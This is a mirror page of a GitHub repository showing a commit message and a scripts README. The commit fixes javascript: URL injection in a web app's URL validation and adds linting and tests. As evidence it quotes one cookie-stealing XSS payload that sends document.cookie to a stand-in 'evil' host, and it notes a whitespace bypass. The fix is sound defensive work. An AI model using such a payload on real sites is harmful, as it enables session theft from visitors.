mirror of
https://github.com/bitbaum/orangecat.git
synced 2026-12-05 06:47:52 +01:00
* feat(domains): link the build service — the rung before hosting
/domains assumes the visitor already has a site ('your site is already
hosted'), but a stranger arriving there has nothing to host. Link the
website-build service so the ladder is complete: build -> hosted free at
*.orangecat.ch -> custom domain.
The link carries no price: the service entity owns its rate, and
restating it here would be the second source of truth this config exists
to prevent.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(security): close the javascript:-URL class, and render the portfolio it blocked
`z.string().url()` delegates to `new URL()`, which accepts `javascript:` and
`data:`. Verified against the real schema, not the primitive: a wishlist item
with `external_url: 'javascript:fetch("//evil?c="+document.cookie)'` parsed
successfully and the value passed through unchanged — and the public wishlist
page rendered exactly that field into an anchor labelled "View item →". Click =
script execution in the visitor's session. `target="_blank"` and
`rel="noopener noreferrer"` do nothing here; they govern the opened context, and
`javascript:` never opens one.
Found while wiring up `portfolio_links` on the service detail page — a field
stored and API-returned but rendered nowhere, so inert until it became an href.
Making it one is the unsafe act, which is what surfaced the live instance.
Three layers, because they fail differently:
- `webUrl()` (validation SSOT) — trims, then http(s) only. Trimming is not
cosmetic: browsers strip leading whitespace/control characters before parsing
a scheme, so " \n javascript:…" is live in an href.
- `safeHref()` (render boundary) — validation only binds rows written after it
ships, and service-role inserts skip schemas entirely.
- `no-restricted-syntax` — bans the unsafe form for good. Mutation-tested red
before being trusted.
The AST rule found 4 call sites that grep and a hand-written selector both
missed: multi-line `z\n.string()\n.url(msg)` in projects.ts, and
`z.string().trim().url().max(2000)` on avatarUrl/bannerUrl/website in
profile-claims — which feed an avatar src, a banner src, and a profile href.
Ending a class needs the linter's count, not the grep that found instance one.
Stored data checked separately, since a schema fix cleans nothing: all 6
services' portfolio_links and all 3 profile websites are already http(s), and no
wishlist item has an external_url at all (HTTP 200 + empty — absent, not
unqueryable). No cleanup migration needed.
Also unbreaks `npm run verify` from a git worktree, where it could not complete:
- check-duplication.mjs resolved jscpd at <repo>/node_modules, but a worktree
has none and inherits the main checkout's. Resolved via Node's own lookup.
- eval-cat-retry.test.ts never set the anon key, silently relying on
eval-cat.mjs reading .env.local from cwd — untracked, main-checkout-only. In
the main checkout it passed by pulling the REAL anon key into a unit test;
in a worktree the script exited before the retry logic ran. Now sets a fake
key, and the 503 backoff actually executes.
verify: green (222 suites, 2208 passed), duplication 0.95% under the 1.0%
baseline. 33 new tests assert the CLOSED side — a test that only checks https://
still passes after someone reverts the helper.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
---------
Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Scripts Directory
This directory contains all automation scripts organized by purpose.
Directory Structure
analysis/- Bundle analysis, documentation checking, and optimization toolsauth-fix/- Scripts to fix authentication and RLS policy issuesdb/- Database operations, migrations, and schema management- Migration scripts moved from root:
apply-migration.js,apply-*-migration.js - Old schema files archived in
db/archive/
- Migration scripts moved from root:
deployment/- Deployment, production setup, and monitoring scriptsdev/- Development helpers, local setup, and debugging toolsdiagnostics/- Health checks and system diagnosticsmaintenance/- Cleanup, optimization, and maintenance scriptsmonitoring/- Performance monitoring and bundle size trackingoauth/- OAuth provider setup and configurationprofile-fix/- Scripts to fix profile-related issuesschema-fix/- Database schema fixes and migrationsstorage/- Supabase storage bucket setup and managementtest/- Testing utilities and validation scripts- Test/debug scripts moved from root:
test-*.js,check-*.js,debug-*.js
- Test/debug scripts moved from root:
Usage
Most scripts can be run with:
node scripts/{category}/script-name.js
For deployment scripts:
bash scripts/deployment/script-name.sh
Important Scripts
scripts/dev/dev-start.js- Main development server starterscripts/deployment/browser-verify.js- Post-deploy browser smoke test (deploys themselves happen on the box — see docs/deployment/DEPLOYMENT_PROCESS.md)scripts/db/apply-migrations.ts- Database migrationsscripts/maintenance/cleanup-console-logs.ts- Remove console.log statements